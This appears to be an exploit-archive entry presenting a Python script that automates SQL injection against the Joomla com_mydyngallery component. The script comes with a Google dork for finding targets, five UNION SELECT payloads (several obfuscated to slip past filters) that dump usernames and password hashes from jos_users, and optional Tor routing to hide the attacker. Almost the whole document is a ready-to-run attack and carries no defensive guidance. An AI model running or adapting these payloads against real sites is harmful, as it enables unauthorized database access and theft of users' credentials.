Joomla MyDynGallery SQL Injection



EKU-ID: 5297 CVE: OSVDB-ID:
Author: D35m0nd142 Published: 2015-12-15 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


# Joomla! com_mydyngallery Automatic SQL Injection exploit (multiple ways)
# Author: D35m0nd142
# Google Dork: inurl:"index.php?option=com_mydyngallery"
# Date: 12/12/2015
# Vulns found by R3d.W0rm & H3ll-dz 
# Software link: https://www.joomla.org 
# Tested on: all Joomla! versions containing component mydyngallery
# Output will show clear username and MD5:Salt password

#!/usr/bin/python
import sys
import time
import socks
import socket
import requests

success = False
notvalid = [' ','<','>','{','}','[',']','(',')',';','"','\n','\r','\t','&','\'','\\','/','?','=',',']
target = ""
i = 0

def chk_success():
	global i
	if(success):
		print "[+] Exploit succedeed!"
		sys.exit(0)
	i += 1

def exploit(path,query):
	global i
	global success
	global target

	try:
		url = "%s%s" %(target,path)
		print "\n[*] Running #%i-way exploit (query=\"%s\", path='%s')\n" %(i,query,path)
		r = requests.get(url, headers=headers, timeout=20)
		if(r.status_code == 200 and r.url == url):
			url = "%s%s%s" %(target,path,query)
			r = requests.get(url, headers=headers, timeout=20)
			if("::::" in r.text):
				s = r.text
				for x in range(0,len(s)-4):
					if(s[x] == ':' and s[x+1] == ':' and s[x+2] == ':' and s[x+3] == ':'):
						if(success is False):
							success = True
						user = ""
						passwd = ""
						k = x-1
						while(k >= 0 and s[k] not in notvalid):
							user += s[k]
							k -= 1
						user = user[::-1]
						k = x+4
						while(k < len(s) and s[k] not in notvalid):
							passwd += s[k]
							k += 1
						x = k
						if(len(user) > 0 or len(passwd) > 0):
							print "-------------------------------------------------------------------------------------"
							print "[+] Username: %s" %user
							print "[+] Password: %s" %passwd
							print "-------------------------------------------------------------------------------------\n"
	except:
		print "[-] %i-way exploit not applicable." %i

# Uncomment if you want to run the exploit through TOR
#socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 9150)
#socket.socket = socks.socksocket

print "\n/*================================================================*\\"
print "| Joomla! com_mydyngallery Automatic SQLi exploit (Multiple ways)  |"
print "| Author: D35m0nd142                                               |"
print "\*================================================================*/\n"

target = raw_input("Enter the target (ex: 'http://site/joomla_path/') -> ")         					
if("http" not in target):
	target = "http://%s" %target
if(target[-1:] == '/'):
	target = target[:-1]

headers = {'User-Agent':'Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16'}
i = 1

path = ["/index.php?option=com_mydyngallery&Itemid=&task=liste&directory=1","/index.php?option=com_mydyngallery&directory=1"]
queries = ["' union select 1,2,3,group_concat(0x3c62723e,username,0x3a,0x3a,0x3a,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34 from jos_users`",
"' /*!00000union*/ select 1,2,3,group_concat/*!(0x3c62723e,username,0x3a,0x3a,0x3a,0x3a,password)*/,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34 /*!from*/ jos_users`",
"'%20/*!00000union*/%20select%201,2,3,group_concat/*!(0x3c62723e,username,0x3a,0x3a,0x3a,0x3a,password)*/,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34%20/*!from*/%20jos_users`",
"'%20/*!00000union*/%23MadMan%0aselect%201,2,3,group_concat/*!(0x3c62723e,username,0x3a,0x3a,0x3a,0x3a,password)*/,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34%20/*!from*/%23MadMan%0ajos_users`",
"'+union+select+0,1,2,concat(0x3C703E,username,0x3a,0x3a,0x3a,0x3a,password,0x3C2F703E),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+from+jos_users/*"]

for query in queries:
	if(i < 5):
		exploit(path[0],query)
	else:
		exploit(path[1],query)
	chk_success()

print "[-] Exploit not succedeed."